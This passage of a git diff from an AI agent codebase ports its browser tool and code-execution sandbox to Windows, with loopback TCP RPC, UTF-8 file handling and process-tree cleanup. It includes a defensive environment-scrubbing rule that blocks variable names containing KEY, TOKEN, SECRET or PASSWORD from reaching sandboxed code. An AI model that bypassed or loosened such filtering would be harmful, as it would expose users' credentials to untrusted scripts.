bare string inside an argv list. + forbidden_patterns = [ + '["npm",', + '["npx",', + "['npm',", + "['npx',", + ] + for pat in forbidden_patterns: + # Exception: strings inside error-message text or comments are fine. + # We only fail if the literal appears in an argv position, which + # we approximate by checking it isn't inside a print/log/comment. + # Find all occurrences and verify they're behind shutil.which. + idx = 0 + while True: + idx = source.find(pat, idx) + if idx < 0: + break + # Look at the preceding 120 chars — if "shutil.which" appears + # there, or the pattern is inside a comment/string, it's fine. + context = source[max(0, idx - 120):idx] + if "#" in context.split("\n")[-1]: + idx += len(pat) + continue + # Argv forms that START with a bare npm/npx are the bug. + raise AssertionError( + f"{relpath}: bare {pat!r} still present at offset {idx} — " + f"resolve via shutil.which(...) so Windows can execute .cmd shims" + ) + + +# --------------------------------------------------------------------------- +# tools/environments/local.py Windows temp dir & PATH injection +# --------------------------------------------------------------------------- + + +class TestLocalEnvironmentWindowsTempDir: + """LocalEnvironment.get_temp_dir must return a native Windows path on + Windows, NOT the POSIX ``/tmp`` literal (which Python can't open).""" + + def test_posix_path_preserved_on_linux(self): + """Linux/macOS behaviour MUST be unchanged — return / tmp or + tempfile.gettempdir()-derived POSIX path. This is the 'do no harm' + test — regressions here break every Unix user's terminal tool.""" + from tools.environments.local import LocalEnvironment + + env = LocalEnvironment(cwd="/tmp", timeout=10, env={}) + tmp_dir = env.get_temp_dir() + if sys.platform != "win32": + assert tmp_dir.startswith("/"), ( + f"POSIX temp dir must start with '/'; got {tmp_dir!r}" + ) + + def test_source_has_windows_branch_using_hermes_home(self): + root = Path(__file__).resolve().parents[2] + source = (root / "tools" / "environments" / "local.py").read_text(encoding="utf-8") + assert "if _IS_WINDOWS:" in source + assert "get_hermes_home" in source + assert 'cache_dir = get_hermes_home() / "cache" / "terminal"' in source + + +class TestLocalEnvironmentPathInjectionGated: + """The /usr/bin PATH injection in _make_run_env must be POSIX-only.""" + + def test_source_gates_path_injection(self): + root = Path(__file__).resolve().parents[2] + source = (root / "tools" / "environments" / "local.py").read_text(encoding="utf-8") + # The fix wraps the injection in `if not _IS_WINDOWS`. + assert 'not _IS_WINDOWS and "/usr/bin" not in existing_path.split(":")' in source + + +# --------------------------------------------------------------------------- +# cli.py git path normalization +# --------------------------------------------------------------------------- + + +class TestGitBashPathNormalization: + """_normalize_git_bash_path should turn /c/Users/... into C:\\Users\\... + on Windows and leave paths unchanged on POSIX.""" + + def test_posix_noop(self): + """Must NOT mutate paths on Linux/macOS.""" + from cli import _normalize_git_bash_path + if sys.platform != "win32": + assert _normalize_git_bash_path("/home/teknium/foo") == "/home/teknium/foo" + assert _normalize_git_bash_path("/c/Users/foo") == "/c/Users/foo" + assert _normalize_git_bash_path("C:/Users/foo") == "C:/Users/foo" + assert _normalize_git_bash_path(None) is None + + def test_empty_string_preserved(self): + from cli import _normalize_git_bash_path + assert _normalize_git_bash_path("") == "" + + def test_windows_translation(self, monkeypatch): + """Simulate Windows and verify /c/Users/... becomes C:\\Users\\...""" + import cli as cli_mod + monkeypatch.setattr(cli_mod.sys, "platform", "win32") + assert cli_mod._normalize_git_bash_path("/c/Users/foo") == r"C:\Users\foo" + assert cli_mod._normalize_git_bash_path("/C/Users/foo") == r"C:\Users\foo" + assert cli_mod._normalize_git_bash_path("/cygdrive/d/data") == r"D:\data" + assert cli_mod._normalize_git_bash_path("/mnt/c/Users") == r"C:\Users" + # Already-native path is preserved + assert cli_mod._normalize_git_bash_path(r"C:\Users\foo") == r"C:\Users\foo" + # Forward-slash Windows path is preserved (git on Windows often + # returns this form; it's valid for both bash and Python, so we + # don't need to translate). + assert cli_mod._normalize_git_bash_path("C:/Users/foo") == "C:/Users/foo" + + +class TestWorktreeSymlinkFallback: + """.worktreeinclude directory symlinks must fall back to copytree on + Windows (where symlink creation requires admin / Dev Mode).""" + + def test_source_has_symlink_fallback(self): + root = Path(__file__).resolve().parents[2] + source = (root / "cli.py").read_text(encoding="utf-8") + # Look for the try/except that handles OSError around os.symlink + # with a shutil.copytree fallback. + assert "os.symlink(str(src_resolved), str(dst))" in source + assert "except (OSError, NotImplementedError)" in source + assert "shutil.copytree" in source + assert 'sys.platform == "win32"' in source + + +# --------------------------------------------------------------------------- +# Gateway detached watcher — Windows creationflags +# --------------------------------------------------------------------------- + + +class TestGatewayDetachedWatcherWindowsFlags: + """launch_detached_profile_gateway_restart and the in-gateway update + launcher must use CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS on + Windows, not silent start_new_session=True.""" + + def test_hermes_cli_gateway_uses_compat_kwargs(self): + root = Path(__file__).resolve().parents[2] + source = (root / "hermes_cli" / "gateway.py").read_text(encoding="utf-8") + assert "windows_detach_popen_kwargs" in source, ( + "hermes_cli/gateway.py must use the platform-aware detach helper" + ) + # The legacy start_new_session=True on the outer Popen should be + # replaced by **windows_detach_popen_kwargs(). Inside the watcher + # STRING the old pattern is replaced by explicit creationflags. + assert "**windows_detach_popen_kwargs()" in source + + def test_gateway_run_update_has_windows_branch(self): + root = Path(__file__).resolve().parents[2] + source = (root / "gateway" / "run.py").read_text(encoding="utf-8") + # Both the /restart and /update paths must have sys.platform=='win32' branches. + assert 'if sys.platform == "win32":' in source + # Windows branch uses windows_detach_popen_kwargs + assert "windows_detach_popen_kwargs" in source diff --git a/tools/browser_tool.py b/tools/browser_tool.py index c8cdedcf0b1..ee642db8bd1 100644 --- a/tools/browser_tool.py +++ b/tools/browser_tool.py @@ -708,7 +708,16 @@ def _run_chrome_fallback_command( ) return {"success": False, "error": hint} - cmd_prefix = ["npx", "agent-browser"] if browser_cmd == "npx agent-browser" else [browser_cmd] + # On Windows npx is npx.cmd — use shutil.which so CreateProcessW can + # execute the batch shim. shutil.which honours PATHEXT on Windows and + # returns the plain executable on POSIX. If npx isn't on PATH (Termux, + # bare container), fall back to the bare name and let Popen raise with + # a readable "FileNotFoundError: 'npx'" rather than WinError 193. + if browser_cmd == "npx agent-browser": + _npx_bin = shutil.which("npx") or "npx" + cmd_prefix = [_npx_bin, "agent-browser"] + else: + cmd_prefix = [browser_cmd] base_args = cmd_prefix + ["--engine", "chrome", "--session", tmp_session, "--json"] task_socket_dir = os.path.join(_socket_safe_tmpdir(), f"agent-browser-{tmp_session}") @@ -728,9 +737,45 @@ def _run_chrome_fallback_command( stdout_fd = os.open(stdout_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) stderr_fd = os.open(stderr_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) try: + # On Windows, launch the child in a new process group so parent + # console Ctrl+C doesn't kill it with STATUS_CONTROL_C_EXIT + # (0xC000013A = rc 3221225786), AND insulate its stdio + handle + # inheritance from the parent. + # + # Additional Windows hardening beyond CREATE_NEW_PROCESS_GROUP: + # * STARTF_USESTDHANDLES + explicit handles → CreateProcess hands + # the child ONLY our three chosen handles (DEVNULL stdin + + # temp-file stdout/stderr). Without this, some parents leak + # console handles that break downstream grandchild spawns — the + # agent-browser Rust binary spawns a detached daemon grandchild, + # and that grandchild's CreateProcess dies silently + # ("Daemon process exited during startup with no error output") + # when inherited parent handles are in a weird state. Observed + # in the Hermes CLI where sys.stdout and sys.stderr both report + # fileno=1 (stderr dup'd onto stdout at the OS level). + # * close_fds=True → block inheritance of every other handle. + # (Default on POSIX; must be explicit on Windows for stdio.) + _popen_extra: dict = {} + if os.name == "nt": + # CREATE_NO_WINDOW → don't attach a console (cmd.exe would + # otherwise briefly allocate one for the .cmd shim). + # Do NOT add CREATE_NEW_PROCESS_GROUP: on Python 3.11 Windows + # it interacts with asyncio's ProactorEventLoop such that the + # subprocess creation cancels the running loop task, which + # surfaces as KeyboardInterrupt in app.run() and tears down + # the CLI mid-turn. The agent thread's subprocess spawn + # unwound MainThread's prompt_toolkit loop that way — see + # diag log: "asyncio.CancelledError → KeyboardInterrupt". + _CREATE_NO_WINDOW = 0x08000000 + _popen_extra["creationflags"] = _CREATE_NO_WINDOW + _popen_extra["close_fds"] = True + _si = subprocess.STARTUPINFO() + _si.dwFlags |= subprocess.STARTF_USESTDHANDLES + _popen_extra["startupinfo"] = _si proc = subprocess.Popen( full, stdout=stdout_fd, stderr=stderr_fd, stdin=subprocess.DEVNULL, env=browser_env, + **_popen_extra, ) finally: os.close(stdout_fd) @@ -742,7 +787,7 @@ def _run_chrome_fallback_command( proc.wait() return {"success": False, "error": f"Chrome fallback '{cmd}' timed out"} try: - with open(stdout_path, "r") as f: + with open(stdout_path, "r", encoding="utf-8") as f: stdout = f.read().strip() if stdout: return json.loads(stdout.split("\n")[-1]) @@ -1101,7 +1146,7 @@ def _write_owner_pid(socket_dir: str, session_name: str) -> None: """ try: path = os.path.join(socket_dir, f"{session_name}.owner_pid") - with open(path, "w") as f: + with open(path, "w", encoding="utf-8") as f: f.write(str(os.getpid())) except OSError as exc: logger.debug("Could not write owner_pid file for %s: %s", @@ -1165,16 +1210,11 @@ def _reap_orphaned_browser_sessions(): owner_alive: Optional[bool] = None # None = owner_pid missing/unreadable if os.path.isfile(owner_pid_file): try: - owner_pid = int(Path(owner_pid_file).read_text().strip()) - try: - os.kill(owner_pid, 0) - owner_alive = True - except ProcessLookupError: - owner_alive = False - except PermissionError: - # Owner exists but we can't signal it (different uid). - # Treat as alive — don't reap someone else's session. - owner_alive = True + owner_pid = int(Path(owner_pid_file).read_text(encoding="utf-8").strip()) + # ``os.kill(pid, 0)`` is NOT a no-op on Windows (bpo-14484). + # Use the cross-platform existence check. + from gateway.status import _pid_exists + owner_alive = _pid_exists(owner_pid) except (ValueError, OSError): owner_alive = None # corrupt file — fall through @@ -1196,21 +1236,17 @@ def _reap_orphaned_browser_sessions(): continue try: - daemon_pid = int(Path(pid_file).read_text().strip()) + daemon_pid = int(Path(pid_file).read_text(encoding="utf-8").strip()) except (ValueError, OSError): shutil.rmtree(socket_dir, ignore_errors=True) continue - # Check if the daemon is still alive - try: - os.kill(daemon_pid, 0) # signal 0 = existence check - except ProcessLookupError: - # Already dead, just clean up the dir + # Check if the daemon is still alive. ``os.kill(pid, 0)`` on Windows + # is NOT a no-op — use the handle-based existence check. + from gateway.status import _pid_exists + if not _pid_exists(daemon_pid): shutil.rmtree(socket_dir, ignore_errors=True) continue - except PermissionError: - # Alive but owned by someone else — leave it alone - continue # Daemon is alive and its owner is dead (or legacy + untracked). Reap. try: @@ -1619,13 +1655,22 @@ def _find_agent_browser() -> str: _agent_browser_resolved = True return which_result - # Check local node_modules/.bin/ (npm install in repo root) + # Check local node_modules/.bin/ (npm install in repo root). + # On Windows, npm drops three shims in .bin: an extensionless POSIX shell + # script (for Git Bash / WSL), `agent-browser.cmd` (for cmd/PowerShell), + # and `agent-browser.ps1` (for PowerShell). CreateProcess (used by Python's + # subprocess on Windows) cannot execute the extensionless shim — it raises + # WinError 193 "%1 is not a valid Win32 application". We must resolve to the + # `.cmd` shim instead. `shutil.which` consults PATHEXT, so we delegate to it + # with an explicit path so POSIX hosts still pick the extensionless shim. repo_root = Path(__file__).parent.parent - local_bin = repo_root / "node_modules" / ".bin" / "agent-browser" - if local_bin.exists(): - _cached_agent_browser = str(local_bin) - _agent_browser_resolved = True - return _cached_agent_browser + local_bin_dir = repo_root / "node_modules" / ".bin" + if local_bin_dir.is_dir(): + local_which = shutil.which("agent-browser", path=str(local_bin_dir)) + if local_which: + _cached_agent_browser = local_which + _agent_browser_resolved = True + return _cached_agent_browser # Check common npx locations (also search the extended fallback PATH) npx_path = shutil.which("npx") @@ -1759,7 +1804,12 @@ def _run_browser_command( # Keep concrete executable paths intact, even when they contain spaces. # Only the synthetic npx fallback needs to expand into multiple argv items. - cmd_prefix = ["npx", "agent-browser"] if browser_cmd == "npx agent-browser" else [browser_cmd] + # shutil.which resolves npx → npx.cmd on Windows; bare "npx" stays on POSIX. + if browser_cmd == "npx agent-browser": + _npx_bin = shutil.which("npx") or "npx" + cmd_prefix = [_npx_bin, "agent-browser"] + else: + cmd_prefix = [browser_cmd] cmd_parts = cmd_prefix + backend_args + [ "--json", @@ -1811,7 +1861,7 @@ def _run_browser_command( # Detect AppArmor user namespace restrictions (Ubuntu 23.10+) _userns_restrict = "/proc/sys/kernel/apparmor_restrict_unprivileged_userns" try: - with open(_userns_restrict) as _f: + with open(_userns_restrict, encoding="utf-8") as _f: if _f.read().strip() == "1": _needs_sandbox_bypass = True logger.debug( @@ -1835,12 +1885,30 @@ def _run_browser_command( stdout_fd = os.open(stdout_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) stderr_fd = os.open(stderr_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) try: + # See matching comment at the other Popen site above — on + # Windows we put agent-browser in its own process group, force + # STARTF_USESTDHANDLES so CreateProcess hands the child ONLY our + # three explicit handles (no leaked parent-console handles to + # confuse the Rust binary's daemon-spawn), and close_fds=True to + # block inheritance of everything else. + _popen_extra: dict = {} + if os.name == "nt": + # See matching block at the other Popen site — CREATE_NO_WINDOW + # only, NO CREATE_NEW_PROCESS_GROUP (cancels asyncio loop task + # on Python 3.11 Windows → KeyboardInterrupt in CLI MainThread). + _CREATE_NO_WINDOW = 0x08000000 + _popen_extra["creationflags"] = _CREATE_NO_WINDOW + _popen_extra["close_fds"] = True + _si = subprocess.STARTUPINFO() + _si.dwFlags |= subprocess.STARTF_USESTDHANDLES + _popen_extra["startupinfo"] = _si proc = subprocess.Popen( cmd_parts, stdout=stdout_fd, stderr=stderr_fd, stdin=subprocess.DEVNULL, env=browser_env, + **_popen_extra, ) finally: os.close(stdout_fd) @@ -1856,9 +1924,9 @@ def _run_browser_command( result = {"success": False, "error": f"Command timed out after {timeout} seconds"} # Fall through to fallback check below else: - with open(stdout_path, "r") as f: + with open(stdout_path, "r", encoding="utf-8") as f: stdout = f.read() - with open(stderr_path, "r") as f: + with open(stderr_path, "r", encoding="utf-8") as f: stderr = f.read() returncode = proc.returncode @@ -3157,7 +3225,7 @@ def _cleanup_single_browser_session(task_id: str) -> None: pid_file = os.path.join(socket_dir, f"{session_name}.pid") if os.path.isfile(pid_file): try: - daemon_pid = int(Path(pid_file).read_text().strip()) + daemon_pid = int(Path(pid_file).read_text(encoding="utf-8").strip()) os.kill(daemon_pid, signal.SIGTERM) logger.debug("Killed daemon pid %s for %s", daemon_pid, session_name) except (ProcessLookupError, ValueError, PermissionError, OSError): @@ -3300,7 +3368,7 @@ def _running_in_docker() -> bool: if os.path.exists("/.dockerenv"): return True try: - with open("/proc/1/cgroup", "rt") as fp: + with open("/proc/1/cgroup", "rt", encoding="utf-8") as fp: return "docker" in fp.read() except OSError: return False diff --git a/tools/code_execution_tool.py b/tools/code_execution_tool.py index ffcf726fcd5..092f7e37e97 100644 --- a/tools/code_execution_tool.py +++ b/tools/code_execution_tool.py @@ -47,10 +47,13 @@ import uuid _IS_WINDOWS = platform.system() == "Windows" from typing import Any, Dict, List, Optional -# Availability gate: UDS requires a POSIX OS +# Availability gate. On Windows we fall back to loopback TCP for the +# sandbox RPC transport (AF_UNIX is unreliable on Windows Python) — see +# ``_use_tcp_rpc`` in ``_execute_local`` below. That makes execute_code +# available on every platform Hermes itself runs on. logger = logging.getLogger(__name__) -SANDBOX_AVAILABLE = sys.platform != "win32" +SANDBOX_AVAILABLE = True # The 7 tools allowed inside the sandbox. The intersection of this list # and the session's enabled tools determines which stubs are generated. @@ -70,6 +73,85 @@ DEFAULT_MAX_TOOL_CALLS = 50 MAX_STDOUT_BYTES = 50_000 # 50 KB MAX_STDERR_BYTES = 10_000 # 10 KB +# Environment variable scrubbing rules (shared between the local + remote +# backends). Secret-substring block is applied first; anything left must +# match either a safe prefix or, on Windows, an OS-essential name. +_SAFE_ENV_PREFIXES = ("PATH", "HOME", "USER", "LANG", "LC_", "TERM", + "TMPDIR", "TMP", "TEMP", "SHELL", "LOGNAME", + "XDG_", "PYTHONPATH", "VIRTUAL_ENV", "CONDA", + "HERMES_") +_SECRET_SUBSTRINGS = ("KEY", "TOKEN", "SECRET", "PASSWORD", "CREDENTIAL", + "PASSWD", "AUTH") + +# Windows-only: a handful of variables are required by the OS/CRT itself. +# Without them, even stdlib calls like ``socket.socket()`` fail with +# WinError 10106 (Winsock can't locate mswsock.dll) and ``subprocess`` +# can't resolve cmd.exe. These are well-known OS paths, not secrets, so +# we allow them through by exact name. The _SECRET_SUBSTRINGS block +# still runs as a safety net (none of these names match those substrings). +_WINDOWS_ESSENTIAL_ENV_VARS = frozenset({ + "SYSTEMROOT", # %SYSTEMROOT%\System32 — Winsock needs this + "SYSTEMDRIVE", # C: (or wherever Windows lives) + "WINDIR", # usually same as SYSTEMROOT + "COMSPEC", # cmd.exe path — subprocess shell=True needs it + "PATHEXT", # .COM;.EXE;.BAT;... — shell lookup + "OS", # "Windows_NT" — some tools gate on this + "PROCESSOR_ARCHITECTURE", + "NUMBER_OF_PROCESSORS", + "PUBLIC", # C:\Users\Public + "ALLUSERSPROFILE", # C:\ProgramData — some stdlib paths use it + "PROGRAMDATA", # C:\ProgramData + "PROGRAMFILES", + "PROGRAMFILES(X86)", + "PROGRAMW6432", + "APPDATA", # %USERPROFILE%\AppData\Roaming — Python uses it + "LOCALAPPDATA", # %USERPROFILE%\AppData\Local + "USERPROFILE", # C:\Users\ — Python's expanduser uses it + "USERDOMAIN", + "USERNAME", + "HOMEDRIVE", # C: + "HOMEPATH", # \Users\ + "COMPUTERNAME", +}) + + +def _scrub_child_env(source_env, is_passthrough=None, is_windows=None): + """Produce the scrubbed child-process env for execute_code. + + Rules (order matters): + 1. Passthrough vars (skill- or config-declared) always pass. + 2. Secret-substring names (KEY/TOKEN/etc.) are blocked. + 3. Names matching a safe prefix pass. + 4. On Windows, a small OS-essential allowlist passes by exact name + — without these the child can't even create a socket or spawn a + subprocess. + + Extracted into a helper so tests can exercise the logic without + spawning a subprocess. + """ + if is_passthrough is None: + try: + from tools.env_passthrough import is_env_passthrough as _ep + except Exception: + _ep = lambda _: False # noqa: E731 + is_passthrough = _ep + if is_windows is None: + is_windows = _IS_WINDOWS + + scrubbed = {} + for k, v in source_env.items(): + if is_passthrough(k): + scrubbed[k] = v + continue + if any(s in k.upper() for s in _SECRET_SUBSTRINGS): + continue + if any(k.startswith(p) for p in _SAFE_ENV_PREFIXES): + scrubbed[k] = v + continue + if is_windows and k.upper() in _WINDOWS_ESSENTIAL_ENV_VARS: + scrubbed[k] = v + return scrubbed + def check_sandbox_requirements() -> bool: """Code execution sandbox requires a POSIX OS for Unix domain sockets.""" @@ -235,10 +317,27 @@ _call_lock = threading.Lock() ''' + _COMMON_HELPERS + '''\ def _connect(): + """Connect to the parent's RPC server via the transport it picked. + + HERMES_RPC_SOCKET can be either: + - a filesystem path (POSIX Unix domain socket — the default on + Linux and macOS) + - a string of the form ``tcp://127.0.0.1:`` (Windows, where + AF_UNIX is unreliable — the parent falls back to loopback TCP) + """ global _sock if _sock is None: - _sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) - _sock.connect(os.environ["HERMES_RPC_SOCKET"]) + endpoint = os.environ["HERMES_RPC_SOCKET"] + if endpoint.startswith("tcp://"): + # tcp://host:port (host is always 127.0.0.1 in practice — we + # only bind loopback server-side) + _host_port = endpoint[len("tcp://"):] + _host, _, _port = _host_port.rpartition(":") + _sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + _sock.connect((_host or "127.0.0.1", int(_port))) + else: + _sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) + _sock.connect(endpoint) _sock.settimeout(300) return _sock @@ -291,9 +390,12 @@ def _call(tool_name, args): req_file = os.path.join(_RPC_DIR, f"req_{seq_str}") res_file = os.path.join(_RPC_DIR, f"res_{seq_str}") - # Write request atomically (write to .tmp, then rename) + # Write request atomically (write to .tmp, then rename). + # encoding="utf-8" is critical: on Windows-hosted remote backends + # (or any non-UTF-8 locale) the default open() mode would mangle + # non-ASCII chars in tool args when encoding them as JSON. tmp = req_file + ".tmp" - with open(tmp, "w") as f: + with open(tmp, "w", encoding="utf-8") as f: json.dump({"tool": tool_name, "args": args, "seq": seq}, f) os.rename(tmp, req_file) @@ -306,7 +408,7 @@ def _call(tool_name, args): time.sleep(poll_interval) poll_interval = min(poll_interval * 1.2, 0.25) # Back off to 250ms - with open(res_file) as f: + with open(res_file, encoding="utf-8") as f: raw = f.read() # Clean up response file @@ -415,7 +517,7 @@ def _rpc_server_loop( # their status prints don't leak into the CLI spinner. try: _real_stdout, _real_stderr = sys.stdout, sys.stderr - devnull = open(os.devnull, "w") + devnull = open(os.devnull, "w", encoding="utf-8") try: sys.stdout = devnull sys.stderr = devnull @@ -689,7 +791,7 @@ def _rpc_poll_loop( # Dispatch through the standard tool handler try: _real_stdout, _real_stderr = sys.stdout, sys.stderr - devnull = open(os.devnull, "w") + devnull = open(os.devnull, "w", encoding="utf-8") try: sys.stdout = devnull sys.stderr = devnull @@ -954,7 +1056,8 @@ def execute_code( """ if not SANDBOX_AVAILABLE: return json.dumps({ - "error": "execute_code is not available on Windows. Use normal tool calls instead." + "error": "execute_code sandbox is unavailable in this environment. " + "Use normal tool calls (terminal, read_file, write_file, ...) instead." }) if not code or not code.strip(): @@ -988,8 +1091,22 @@ def execute_code( # Use /tmp on macOS to avoid the long /var/folders/... path that pushes # Unix domain socket paths past the 104-byte macOS AF_UNIX limit. # On Linux, tempfile.gettempdir() already returns /tmp. + # + # Windows: Python 3.9+ added partial AF_UNIX support but the file-backed + # variant is flaky across Windows builds (requires Windows 10 1803+, + # still fails under some configurations, and the socket file can't live + # on the same temp drive as the script). Fall back to loopback TCP — + # same ephemeral port, same 1-connection listen queue, same serialized + # request/response framing. The generated client reads the transport + # selector from HERMES_RPC_SOCKET (path vs. ``tcp://host:port``). _sock_tmpdir = "/tmp" if sys.platform == "darwin" else tempfile.gettempdir() - sock_path = os.path.join(_sock_tmpdir, f"hermes_rpc_{uuid.uuid4().hex}.sock") + _use_tcp_rpc = _IS_WINDOWS + if _use_tcp_rpc: + sock_path = None # not used on Windows; TCP endpoint stored below + rpc_endpoint = None # set after bind() + else: + sock_path = os.path.join(_sock_tmpdir, f"hermes_rpc_{uuid.uuid4().hex}.sock") + rpc_endpoint = sock_path tool_call_log: list = [] tool_call_counter = [0] # mutable so the RPC thread can increment @@ -997,21 +1114,42 @@ def execute_code( server_sock = None try: - # Write the auto-generated hermes_tools module + # Write the auto-generated hermes_tools module. + # encoding="utf-8" is required on Windows — the stub and user code + # both contain non-ASCII characters (em-dashes in docstrings, plus + # whatever the user script carries). Python's default open() uses + # the system locale on Windows (cp1252 typically), which corrupts + # those bytes; the child then fails to import with a SyntaxError + # ("'utf-8' codec can't decode byte 0x97 in position ...") because + # Python source files are decoded as UTF-8 by default (PEP 3120). # sandbox_tools is already the correct set (intersection with session # tools, or SANDBOX_ALLOWED_TOOLS as fallback — see lines above). tools_src = generate_hermes_tools_module(list(sandbox_tools)) - with open(os.path.join(tmpdir, "hermes_tools.py"), "w") as f: + with open(os.path.join(tmpdir, "hermes_tools.py"), "w", encoding="utf-8") as f: f.write(tools_src) # Write the user's script - with open(os.path.join(tmpdir, "script.py"), "w") as f: + with open(os.path.join(tmpdir, "script.py"), "w", encoding="utf-8") as f: f.write(code) - # --- Start UDS server --- - server_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) - server_sock.bind(sock_path) - os.chmod(sock_path, 0o600) + # --- Start RPC server --- + # Two transports: + # POSIX: AF_UNIX stream socket on sock_path, chmod 0600 for + # owner-only access. Filesystem permissions gate the socket. + # Windows: AF_INET stream socket on 127.0.0.1 with an ephemeral + # port. No filesystem permission story, but loopback-only bind + # means only the current user's processes (not remote) can + # connect. HERMES_RPC_SOCKET is set to ``tcp://127.0.0.1:`` + # which the generated client parses to pick AF_INET. + if _use_tcp_rpc: + server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server_sock.bind(("127.0.0.1", 0)) # ephemeral port + _host, _port = server_sock.getsockname()[:2] + rpc_endpoint = f"tcp://{_host}:{_port}" + else: + server_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) + server_sock.bind(sock_path) + os.chmod(sock_path, 0o600) server_sock.listen(1) rpc_thread = threading.Thread( @@ -1030,31 +1168,32 @@ def execute_code( # generated scripts. The child accesses tools via RPC, not direct API. # Exception: env vars declared by loaded skills (via env_passthrough # registry) or explicitly allowed by the user in config.yaml - # (terminal.env_passthrough) are passed through. - _SAFE_ENV_PREFIXES = ("PATH", "HOME", "USER", "LANG", "LC_", "TERM", - "TMPDIR", "TMP", "TEMP", "SHELL", "LOGNAME", - "XDG_", "PYTHONPATH", "VIRTUAL_ENV", "CONDA", - "HERMES_") - _SECRET_SUBSTRINGS = ("KEY", "TOKEN", "SECRET", "PASSWORD", "CREDENTIAL", - "PASSWD", "AUTH") - try: - from tools.env_passthrough import is_env_passthrough as _is_passthrough - except Exception: - _is_passthrough = lambda _: False # noqa: E731 - child_env = {} - for k, v in os.environ.items(): - # Passthrough vars (skill-declared or user-configured) always pass. - if _is_passthrough(k): - child_env[k] = v - continue - # Block vars with secret-like names. - if any(s in k.upper() for s in _SECRET_SUBSTRINGS): - continue - # Allow vars with known safe prefixes. - if any(k.startswith(p) for p in _SAFE_ENV_PREFIXES): - child_env[k] = v - child_env["HERMES_RPC_SOCKET"] = sock_path + # (terminal.env_passthrough) are passed through. On Windows, a small + # OS-essential allowlist (SYSTEMROOT, WINDIR, COMSPEC, ...) is also + # passed through — without those, the child can't create a socket + # or spawn a subprocess. See ``_scrub_child_env`` for the rules. + child_env = _scrub_child_env(os.environ) + child_env["HERMES_RPC_SOCKET"] = rpc_endpoint child_env["PYTHONDONTWRITEBYTECODE"] = "1" + # Force UTF-8 for the child's stdio and default file encoding. + # + # Without this, on Windows sys.stdout is bound to the console code + # page (cp1252 on US-locale installs), and any script that does + # ``print("café")`` or ``print("→")`` crashes with: + # + # UnicodeEncodeError: 'charmap' codec can't encode character + # '\u2192' in position N: character maps to + # + # PYTHONIOENCODING fixes sys.stdin/stdout/stderr. + # PYTHONUTF8=1 enables "UTF-8 mode" (PEP 540) which additionally + # makes ``open()``'s default encoding UTF-8, so user scripts that + # write files without specifying encoding= also work correctly. + # + # On POSIX both values usually match the locale default already, + # so setting them is harmless belt-and-suspenders for environments + # with a C/POSIX locale (containers, minimal base images). + child_env["PYTHONIOENCODING"] = "utf-8" + child_env["PYTHONUTF8"] = "1" # Ensure the hermes-agent root is importable in the sandbox so # repo-root modules are available to child scripts. We also prepend # the staging tmpdir so ``from hermes_tools import ...`` resolves even @@ -1302,20 +1441,33 @@ def execute_code( import shutil shutil.rmtree(tmpdir, ignore_errors=True) try: - os.unlink(sock_path) + # Only UDS has a filesystem socket to unlink; TCP sockets are + # freed by server_sock.close() above. + if sock_path: + os.unlink(sock_path) except OSError: pass # already cleaned up or never created def _kill_process_group(proc, escalate: bool = False): - """Kill the child and its entire process group.""" + """Kill the child and its entire process tree (cross-platform via psutil).""" + import psutil try: - if _IS_WINDOWS: - proc.terminate() - else: - os.killpg(os.getpgid(proc.pid), signal.SIGTERM) - except (ProcessLookupError, PermissionError) as e: - logger.debug("Could not kill process group: %s", e, exc_info=True) + parent = psutil.Process(proc.pid) + children = parent.children(recursive=True) + for child in children: + try: + child.terminate() + except psutil.NoSuchProcess: + pass + try: + parent.terminate() + except psutil.NoSuchProcess: + pass + except psutil.NoSuchProcess: + pass + except (PermissionError, OSError) as e: + logger.debug("Could not terminate process tree: %s", e, exc_info=True) try: proc.kill() except Exception as e2: @@ -1327,12 +1479,20 @@ def _kill_process_group(proc, escalate: bool = False): proc.wait(timeout=5) except subprocess.TimeoutExpired: try: - if _IS_WINDOWS: - proc.kill() - else: - os.killpg(os.getpgid(proc.pid), signal.SIGKILL) - except (ProcessLookupError, PermissionError) as e: - logger.debug("Could not kill process group with SIGKILL: %s", e, exc_info=True) + parent = psutil.Process(proc.pid) + for child in parent.children(recursive=True): + try: + child.kill() + except psutil.NoSuchProcess: + pass + try: + parent.kill() + except psutil.NoSuchProcess: + pass + except psutil.NoSuchProcess: + pass + except (PermissionError, OSError) as e: + logger.debug("Could not kill process tree: %s", e, exc_info=True) try: proc.kill() except Exception as e2: diff --git a/tools/environments/base.py b/tools/environments/base.py index f0264ba3c91..8a53cefb5bf 100644 --- a/tools/environments/base.py +++ b/tools/environments/base.py @@ -99,12 +99,33 @@ def get_sandbox_dir() -> Path: def _pipe_stdin(proc: subprocess.Popen, data: str) -> None: - """Write *data* to proc.stdin on a daemon thread to avoid pipe-buffer deadlocks.""" + """Write *data* to proc.stdin on a daemon thread to avoid pipe-buffer deadlocks. + + On Windows, text-mode stdin (``text=True`` / ``encoding="utf-8"``) + translates ``\\n`` → ``\\r\\n`` as the data flows through the pipe — + which corrupts every write_file / patch call because the bytes that + land on disk include injected carriage returns. The file IS created, + but every subsequent byte-count / content compare against the + caller's ``\\n``-only string fails. + + Workaround: write through ``proc.stdin.buffer`` (the underlying byte + buffer), encoding to UTF-8 ourselves. That bypasses Python's + newline translation entirely on every platform. No behaviour change + on POSIX — the byte sequence is identical to what text-mode would + produce there. + """ def _write(): try: - proc.stdin.write(data) - proc.stdin.close() + # proc.stdin is a TextIOWrapper when text=True was set on the + # Popen. Its ``.buffer`` attribute is the raw BufferedWriter + # that bypasses newline translation. When Popen was created + # in byte mode, proc.stdin is already a BufferedWriter with + # no ``.buffer`` attribute — fall back to .write() directly. + raw = data.encode("utf-8") if isinstance(data, str) else data + target = getattr(proc.stdin, "buffer", proc.stdin) + target.write(raw) + target.close() except (BrokenPipeError, OSError): pass @@ -137,7 +158,7 @@ def _load_json_store(path: Path) -> dict: """Load a JSON file as a dict, returning ``{}`` on any error.""" if path.exists(): try: - return json.loads(path.read_text()) + return 